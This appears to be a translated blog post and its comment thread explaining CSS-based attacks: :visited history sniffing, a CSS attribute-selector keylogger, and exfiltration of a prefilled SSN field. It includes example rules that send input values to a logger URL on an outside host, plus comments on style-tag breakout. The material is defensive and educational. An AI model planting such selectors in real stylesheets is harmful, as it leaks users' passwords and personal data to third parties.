不要看标题就担心。 我认为 CSS 不是一个特别危险的安全问题,而且在大多数情况下,我认为您无需担心。
但偶尔会有一些文章流传开来,并引起人们对 CSS 可能做到的某些事情的可能性,这些事情可能会让您感到惊讶或担忧。
这里有一点总结。
访问过的链接问题
这个是这样的
- 您在您的网站上放一个指向特定页面的链接,比如
<a href="https://i-tickle-pigs.com">Tickle Pigs</a>
- 您将该链接的访问状态样式设置为
a:visited { color: pink; }
,这不是默认的用户代理样式。 - 您测试该链接的计算样式。
- 如果它是粉红色的,则该用户是猪挠痒痒者。
- 您将该猪挠痒痒信息报告回某个服务器,并可能将他们的养猪保险费率提高三倍,因为猪肯定会因为所有的挠痒痒而遭受极度的情绪困扰。
您甚至可能完全在 CSS 中做到这一点,因为 :visited
样式可能类似于 background-image: url(/data-logger/tickle.php);
,只有猪挠痒痒者才会请求它。
担心吗? 不要担心,浏览器已经阻止了这种情况的发生。
键盘记录器
这个是这样的
- 页面上有一个输入。 可能是一个密码输入。 令人害怕!
- 您将记录器脚本作为输入背景图像的值,但还添加了十亿个与之相同的选择器,这样记录器就可以收集和报告部分或全部密码。
input[value^="a"] { background: url(logger.php?v=a); }
这个并不容易。 输入的 value
属性不会仅仅因为您在其中输入而改变。 不过,它有时会在 React 等框架中改变,因此,如果您将这个 CSS 放在一个由 React 支持并以这种方式编码的登录页面上,那么理论上这个 CSS 驱动的键盘记录器就可以工作。
但是……在这种情况下,JavaScript 也会在该页面上执行。 JavaScript 在这类事情上比 CSS 令人担忧 1000 倍。 JavaScript 中的键盘记录器只需几行代码即可监视按键事件并通过 Ajax 报告它们。
第三方和 XSS 注入的内联 JavaScript 现在可以通过内容安全策略 (CSP) 来阻止……但 CSS 也可以。
数据窃贼
这个是这样的
- 如果我能将一些邪恶的 CSS 放到您已在某个网站上进行身份验证的页面上……
- 并且该网站显示敏感信息,比如社会安全号码 (SSN) 在预先填写的表单中……
- 我可以使用属性选择器来找出它。
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
十亿个选择器,你涵盖了所有可能性!
内联样式块问题
我不知道是否一定要责怪 CSS,但想象一下
<style>
... Drop in some user-generated stuff ...
</style>
也许您允许用户进行一些 CSS 自定义。 这是一个攻击向量,因为他们可以关闭该样式标签,打开一个脚本标签,并编写邪恶的 JavaScript。
我敢肯定还有很多
有吗? 分享它们。
让我对应该对 CSS 安全漏洞感到多害怕持有一点怀疑。 我不想淡化安全问题(尤其是 第三方问题),因为我不是专家,安全至关重要,但与此同时,我从未听说过 CSS 是除思想实验之外的任何攻击向量的目标。 教育我!
您有 CSS Exfil 漏洞:https://gbhackers.com/css-exfil-vulnerability/
我敢肯定在 CSS 中使用 data-URI 可以提供一些好主意……:)
我相信应该将 CSS 漏洞与其他漏洞一起理解,比如在某个网站上存在 XSS 问题的情况下,将“某些东西”注入页面。 我特别想到的是点击劫持,它需要一些 css 才能起作用。
我们还可以考虑一个恶意 js 脚本注入内容和 css 来对其进行样式设置:在某些情况下,阻止 js 可能不切实际,但阻止 css 执行可能更容易。
这真的正确吗? 如果有人可以关闭一个标签,那么其他 HTML 元素呢?
您可以在稍后重新打开它……
alert ();
有大量的插件、免费模板等等,几乎适用于所有事物,谁会去挖掘压缩的 CSS 和 JS,并寻找这样的东西呢?
谁会主动查看嵌入的脚本,并定期检查它们?
当然,通过 JS 进行攻击更容易、更小、更快,但您可以预料到这一点,并寻找它。 但 CSS 是另一回事。 您不会期望 CSS 存在任何安全问题。
而且,有时拥有一个没有人预料到的攻击向量比简单的方法更有趣。
这就是我尝试始终让所有内容都由网站/项目本身托管的原因(Bootstrap、jQuery 等等)。
您还可以使用 SubResource Integrity 来避免执行某些文件 :)
对于一个注重安全的公司……(或者只是为了您自己的数据收集和分析),您可以记录使用打印样式表打印的每个页面,该样式表包含 {background: url(logger.php);}
这会发生在任何将不受信任的 HTML 注入网页的地方。 无论是在样式标签中还是在外部。 它基本上是攻击者的 XSS 条目。
这里的问题是 XSS 发生在客户端。 即使使用像 jQuery 这样简单的东西,某些方法也可以将 HTML 写入网页。 如果未处理不受信任的内容,使用 $.fn.html 编写的内容可能会成为 XSS 的入口点。 CSS 也是如此
虽然我认为了解这些事情很重要,但我认为 CSS 可以做的更危险的事情是像点击劫持一样的事情。 但这不是语言中的漏洞,而是攻击者的有意欺骗。
感谢您与我们所有人分享此内容 :) 级联样式表漏洞是人们没有充分认识到的事情。 我服务过那些根据我的建议修复了级联样式表的客户。 在安全方面,至少我实践着无论何时看到一个打开的门就关上它,无论如何。
例如,我偶然间受到启发,作为一个黑客,我研究了 *.css 文件,这帮助我理解了功能的内部结构。 我之所以说启发,是因为当恶意黑客看到“里面有什么?”时,他们会受到启发(受激发的攻击者),而没有进入其中。 他们体内的肾上腺素会告诉他们,“如果你入侵了这里,你知道一旦你成功入侵或破坏了此应用程序的安全,你会得到什么”。
基于此,我为 OWASP(开放式 Web 应用程序安全项目)撰写了“保护级联样式表”。
访问相同内容的 URL
https://work2code.com/a-guide-to-securing-stylesheets-owasp/
https://www.owasp.org/index.php/Securing_Cascading_Style_Sheets_(CSS)_Cheat_Sheet
希望这有帮助。
~ 将简单的事情做好有助于“安全”。